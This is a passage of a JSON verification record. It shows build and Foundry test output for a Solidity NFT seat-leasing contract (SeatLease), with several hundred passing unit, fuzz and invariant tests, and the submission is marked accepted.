1072206)\nLogs:\n  Bound result 5968401246454438869\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 1067249, ~: 1069651)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 1064487, ~: 1064473)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 1407759, ~: 1413558)\nLogs:\n  Bound result 348\n  Bound result 20\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 2718786, ~: 2732361)\nLogs:\n  Bound result 1\n  Bound result 455\n  Bound result 1063831\n  Bound result 3848171\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 1122100, ~: 1189921)\nLogs:\n  Bound result 62\n  Bound result 6555357751788412\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 1234588, ~: 1236470)\nLogs:\n  Bound result 2363\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 985019, ~: 984567)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 993112, ~: 993112)\n[PASS] test_claim_allowsTargetWhoseFallbackAnswersShortOrReverts() (gas: 1040761602)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 1672960)\n[PASS] test_claim_duplicateListingsDoNotHideADecrease() (gas: 1885919)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 916072)\n[PASS] test_claim_listingTheNftCollectionRevertsBeforeTheTargetIsCalled() (gas: 1158661)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 1790283)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 948984)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 2206012)\n[PASS] test_claim_refusesEveryTargetWithoutCode() (gas: 1091226)\n[PASS] test_claim_refusesTargetWhoseFallbackAnswersWithAWord() (gas: 1007901)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 2149463)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 1389524)\n[PASS] test_claim_targetCannotInvokeHolderReceiverHook() (gas: 1388672)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 1442269)\n[PASS] test_claim_targetGuardIsEvaluatedFreshOnEveryCall() (gas: 1291431)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 958939)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 986666)\n[PASS] test_credit_seatNftIsRefusedEvenWhenTheCallerOwnsAndApprovedAnotherSeat() (gas: 1126276)\n[PASS] test_credit_seatNftRefusalPrecedesTheValueChecks() (gas: 970695)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 2131643)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 1080561)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 2118873)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 1123002)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 1123013)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 2166671)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 1163865)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 1125168)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112439)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184185)\n[PASS] test_isValidSignature_followsOperatorChanges() (gas: 1549426)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 1124868)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 1025061)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 1104104)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 1140331)\n[PASS] test_isValidSignature_rejectsDirtyHighBitsInStaticWords() (gas: 1364592)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 1233541)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 1080772)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 947470)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 1133417)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 1091212)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1993624)\n[PASS] test_sweep_afterOracleCutPreservesOperatorsBookedShare() (gas: 1684315)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 1312107)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 2279561)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 1312030)\n[PASS] test_sweep_operatorWhoQuitCanCollectItsEarlierShare() (gas: 1425543)\n[PASS] test_sweep_preservesBookingAcrossTermChanges() (gas: 1470110)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 1151883)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 1360523)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 999132)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 963567)\nSuite result: ok. 67 passed; 0 failed; 0 skipped; finished in 202.26ms (2.39s CPU time)\n\nRan 40 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 80094, ~: 80077)\nLogs:\n  Bound result 13998059764359254209238054394964662002450827177\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13343, ~: 13341)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 50344, ~: 50323)\nLogs:\n  Bound result 10\n\n[PASS] test_cutByOracle_acceptsAttestationIssuedAtTakeTime() (gas: 176716)\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 123202)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 226832)\n[PASS] test_cutByOracle_ownerCannotRecycleAttestationAgainstNextOperator() (gas: 629736)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 325117)\n[PASS] test_cutByOracle_rejectsAttestationIssuedBeforeCurrentTenure() (gas: 426056)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 207003)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 62095)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 64823)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56721)\n[PASS] test_cutByOracle_rejectsObservationWindowStartingBeforeCurrentTenure() (gas: 462524)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 175796)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 341623)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 73645)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 154238)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 60135)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61864)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 136984)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 467995)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 27941)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 83729)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11328)\n[PASS] test_isValidSignature_holderAnswersForItsSeat() (gas: 1091414)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 103345)\n[PASS] test_isValidSignature_rejectsAnotherSeatsHolderAsWallet() (gas: 901322)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 109370)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 54360)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 75611)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 70442)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 164488)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 75987)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 41291)\n[PASS] test_isValidSignature_rejectsRegistryAsWallet() (gas: 61183)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 132036)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 141400)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 995275)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 42016)\nSuite result: ok. 40 passed; 0 failed; 0 skipped; finished in 202.34ms (464.17ms CPU time)\n\nRan 65 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 1467697, ~: 1469118)\nLogs:\n  Bound result 6358056295722623656459\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 1232061, ~: 1236746)\nLogs:\n  Bound result 4950\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 1362729, ~: 1369530)\nLogs:\n  Bound result 802\n  Bound result 20\n\n[PASS] test_book_emitsSharesAtBookingTime() (gas: 1255409)\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 1242237)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 1096036)\n[PASS] test_claim_booksOnlyTheCallersSeatPayout() (gas: 2194569)\n[PASS] test_claim_booksTokenIncrease() (gas: 1433242)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 1014696)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 1247373)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 2319269)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 1185273)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 1261703)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 907125)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 2973729)\n[PASS] test_claim_isMadeByTheHolderNotTheRegistry() (gas: 1319801)\n[PASS] test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented() (gas: 1609424)\n[PASS] test_claim_payoutKeyedToRegistryIsNotBookedToAnySeat() (gas: 1844653)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 2230448)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 1351324)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 920503)\n[PASS] test_claim_revertsForNonOwner() (gas: 1062913)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1852393)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 1513459)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43861)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 915717)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 955524)\n[PASS] test_credit_erc20BooksToSeat() (gas: 1097914)\n[PASS] test_credit_ethBooksToSeat() (gas: 1004477)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1734125)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 1389242)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 1040921)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 907083)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 909425)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 902312)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 1388306)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 911597)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_skim_booksEthSentToHolder() (gas: 1051520)\n[PASS] test_skim_booksPushedRewardsFromThirdPartyClaim() (gas: 1865901)\n[PASS] test_skim_booksReceivedAmountOfFeeOnTransferToken() (gas: 1691262)\n[PASS] test_skim_booksTokenNotListedInClaim() (gas: 1202531)\n[PASS] test_skim_isReentrancyGuardedViaClaim() (gas: 1342416)\n[PASS] test_skim_reverts() (gas: 1516687)\n[PASS] test_sweepFor_paysFormerOwnerAfterWithdrawAndNotTheNextDepositor() (gas: 1769141)\n[PASS] test_sweepFor_revertsWhenNothingBookedToAccount() (gas: 1233402)\n[PASS] test_sweep_allToOperatorAt0() (gas: 1422405)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 1409049)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 1296562)\n[PASS] test_sweep_attributesEachBookingToTheTenureItHappenedIn() (gas: 2292859)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 1419168)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 1526670)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 1455237)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 1470334)\n[PASS] test_sweep_ownerOperatingOwnSeatIsPaidOnce() (gas: 1324679)\n[PASS] test_sweep_retainsShareWhenOperatorRejectsEth() (gas: 1620547)\n[PASS] test_sweep_retainsShareWhenOwnerRejectsEth() (gas: 1277496)\n[PASS] test_sweep_retainsShareWhenRecipientBurnsAllGas() (gas: 1543225)\n[PASS] test_sweep_retainsShareWhenTokenRefusesRecipient() (gas: 2368598)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 40000)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 904246)\n[PASS] test_sweep_roundsDustToOperator() (gas: 1349158)\n[PASS] test_sweep_sharesBookedDuringTenureStayWithCutOperator() (gas: 1621915)\n[PASS] test_sweep_takerGetsNothingBookedBeforeItsTenure() (gas: 1550109)\nSuite result: ok. 65 passed; 0 failed; 0 skipped; finished in 202.45ms (483.64ms CPU time)\n\nRan 66 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 1169339, ~: 1170951)\nLogs:\n  Bound result 335200302748241603121\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 1059251, ~: 1059251)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 995513, ~: 995513)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 765498, ~: 808353)\nLogs:\n  Bound result 198\n\n[PASS] test_constructor_recordsParameters() (gas: 76016)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 2080698)\n[PASS] test_cut_returnsBondToOperator() (gas: 1186578)\n[PASS] test_cut_revertsForNonOwner() (gas: 1058934)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39779)\n[PASS] test_cut_revertsWhenVacant() (gas: 900105)\n[PASS] test_deposit_acceptsMaxListing() (gas: 937279)\n[PASS] test_deposit_holderIsDeterministicAndReused() (gas: 2065665)\n[PASS] test_deposit_longAfterWithdrawIsActiveAtOnce() (gas: 1440280)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 962112)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 1373761)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 1383330)\n[PASS] test_deposit_revertsOnBadBps() (gas: 671513)\n[PASS] test_deposit_revertsOnLongListing() (gas: 673059)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 900729)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50482)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 1372988)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 797790)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 1368440)\n[PASS] test_holder_onlyRegistryMayDrive() (gas: 988940)\n[PASS] test_holder_releaseEthRevertsWhenRegistryCannotReceive() (gas: 213574)\n[PASS] test_onERC721Received_holderRejectsDirectCall() (gas: 891042)\n[PASS] test_onERC721Received_holderRejectsDirectTransferOfSeatNft() (gas: 1178247)\n[PASS] test_onERC721Received_holderRejectsOtherCollections() (gas: 1013222)\n[PASS] test_onERC721Received_registryRefusesEveryNft() (gas: 85183)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1895244)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1894342)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1908393)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 994210)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 1154831)\n[PASS] test_quit_revertsForNonOperator() (gas: 1091611)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 930643)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41750)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39721)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 1334832)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 1282148)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 902167)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 938987)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 41983)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 1063028)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 984576)\n[PASS] test_take_frontRunWithSwappedOracleSignerDoesNotSeatTheVictim() (gas: 1119289)\n[PASS] test_take_isReentrancyGuarded() (gas: 1736206)\n[PASS] test_take_open_anyoneMayTake() (gas: 1057112)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1797322)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 1099895)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 915357)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 973484)\n[PASS] test_take_permissionedIsDelayedToo() (gas: 1050192)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 967572)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 1035521)\n[PASS] test_take_refusedAfterWithdrawAndRedepositUntilDelayPasses() (gas: 1508980)\n[PASS] test_take_refusedUntilChangedTermsAreActive() (gas: 1277681)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39835)\n[PASS] test_take_revertsWhenOccupied() (gas: 1110269)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 1190243)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 1006445)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 900126)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 1074582)\n[PASS] test_withdraw_worksForContractOwnerWithoutReceiverHook() (gas: 1271693)\nSuite result: ok. 66 passed; 0 failed; 0 skipped; finished in 202.74ms (616.42ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_sharesSumToCredited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+--------------+-------+---------+----------╮\n| Contract | Selector     | Calls | Reverts | Discards |\n+======================================================+\n| Handler  | claim        | 151   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | credit       | 173   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | cut          | 162   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | deposit      | 143   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | passTime     | 171   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | pushToHolder | 155   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | quit         | 142   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | setTerms     | 162   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | skim         | 180   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | sweep        | 144   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | sweepFor     | 172   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | take         | 152   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | withdraw     | 141   | 0       | 0        |\n╰----------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20\n  Bound result 135681412276339730799\n  Bound result 7093\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.38s (1.38s CPU time)\n\nRan 4 tests for test/SeatLease.stateful.t.sol:SeatLeaseStatefulInvariantTest\n[PASS]\nSeatLeaseStatefulInvariantTest invariants:\n[PASS] invariant_bondOnlyForOccupiedOpenSeats\n[PASS] invariant_bookedTotalsMatchSeatBookings\n[PASS] invariant_erc1271MirrorsOperators\n[PASS] invariant_holderFundingIsConserved\n[PASS] invariant_nftCustody\n[PASS] invariant_solventPerAsset\n[PASS] invariant_usedRequestsStayUsed\n SeatLeaseStatefulInvariantTest invariants (runs: 96, calls: 6144, reverts: 0)\n\n╭-----------------+-----------------+-------+---------+----------╮\n| Contract        | Selector        | Calls | Reverts | Discards |\n+================================================================+\n| StatefulHandler | claim           | 400   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | credit          | 358   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | cut             | 386   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | cutByOracle     | 396   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | deposit         | 394   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | donate          | 358   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | passTime        | 399   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | pushToHolder    | 376   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | quit            | 382   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | setRewardTokens | 390   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | setTerms        | 388   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | skim            | 379   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | sweep           | 405   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | sweepFor        | 382   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | take            | 354   | 0       | 0        |\n|-----------------+-----------------+-------+---------+----------|\n| StatefulHandler | withdraw        | 397   | 0       | 0        |\n╰-----------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 9\n  Bound result 100001\n  Bound result 16\n  Bound result 775\n  Bound result 18446744073709551614\n  Bound result 8\n  Bound result 107\n  Bound result 245\n  Bound result 5598\n  Bound result 300\n  Bound result 22547\n  Bound result 30\n  Bound result 1234\n  Bound result 5860\n  Bound result 20821\n  Bound result 3255\n  Bound result 1215\n\n[PASS] test_handlerCoversTenureChangesAndWithdrawnShareRecovery() (gas: 15497183)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 100\n  Bound result 40\n  Bound result 10\n  Bound result 20\n  Bound result 10\n  Bound result 0\n  Bound result 100\n  Bound result 3600\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 9\n  Bound result 1\n\n[PASS] test_handlerDistinguishesDirectCreditFromHolderWarmup() (gas: 6415781)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3599\n  Bound result 10\n  Bound result 1\n  Bound result 11\n  Bound result 9\n  Bound result 10\n\n[PASS] test_handlerSettlesAllAssetsAcrossTakeExitAndWithdraw() (gas: 23427280)\nLogs:\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3600\n  Bound result 11\n  Bound result 11\n  Bound result 11\n  Bound result 7\n  Bound result 7\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3600\n  Bound result 11\n  Bound result 11\n  Bound result 11\n  Bound result 7\n  Bound result 7\n  Bound result 7\n  Bound result 5000\n  Bound result 100\n  Bound result 3600\n  Bound result 10\n  Bound result 10\n  Bound result 10\n  Bound result 3600\n  Bound result 11\n  Bound result 11\n  Bound result 11\n  Bound result 7\n  Bound result 7\n  Bound result 7\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 14.43s (14.45s CPU time)\n\nRan 9 test suites in 14.43s (16.83s CPU time): 269 tests passed, 0 failed, 0 skipped (269 total tests)\n","passed":true},{"durationMs":61,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatHolder.execute(address,bytes)\",\"SeatHolder.receive()\",\"SeatHolder.release(address,uint256)\",\"SeatHolder.releaseNft(address)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setRewardTokens(uint256,address[])\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.skim(uint256,address)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.sweepFor(uint256,address,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":201,\"README.md\":477,\"REVIEW.md\":256,\"deployments/anvil-31337.json\":64,\"deployments/anvil-revision3-31337.json\":39,\"foundry.toml\":48,\"launch.json\":17,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatHolder.sol\":79,\"src/SeatLease.sol\":893,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/REVISION.md\":104,\"test/SeatLease.adversarial.t.sol\":1183,\"test/SeatLease.invariants.t.sol\":344,\"test/SeatLease.lifecycle.t.sol\":879,\"test/SeatLease.revision3.t.sol\":452,\"test/SeatLease.rewards.t.sol\":1052,\"test/SeatLease.signatures.t.sol\":574,\"test/SeatLease.stateful.t.sol\":764,\"test/seatlease-revision.gas-snapshot\":70,\"test/utils/Actors.sol\":318,\"test/utils/Base.sol\":202},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"18ebae3290bbc7a35ef4917967cd745523a3b18dc36bc3abe413788b8a06a796","verifiedTreeHash":"2a9d1a206168dc8c397c73e6664f6b1cfd55aa96","verifierVersion":"0.1.0+4ec1a4b6"},{"checks":[{"durationMs":7130,"exitCode":0,"name":"build","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.94s\nCompiler run successful!\n","passed":true},{"durationMs":15206,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.34ms (1.16ms CPU time)\n\nRan 40 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 80183, ~: 80166)\nLogs:\n  Bound result 1234\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13322, ~: 13319)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 50322, ~: 50301)\nLogs:\n  Bound result 1234\n\n[PASS] test_cutByOracle_acceptsAttestationIssuedAtTakeTime() (gas: 169581)\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 123291)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 219675)\n[PASS] test_cutByOracle_ownerCannotRecycleAttestationAgainstNextOperator() (gas: 601301)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 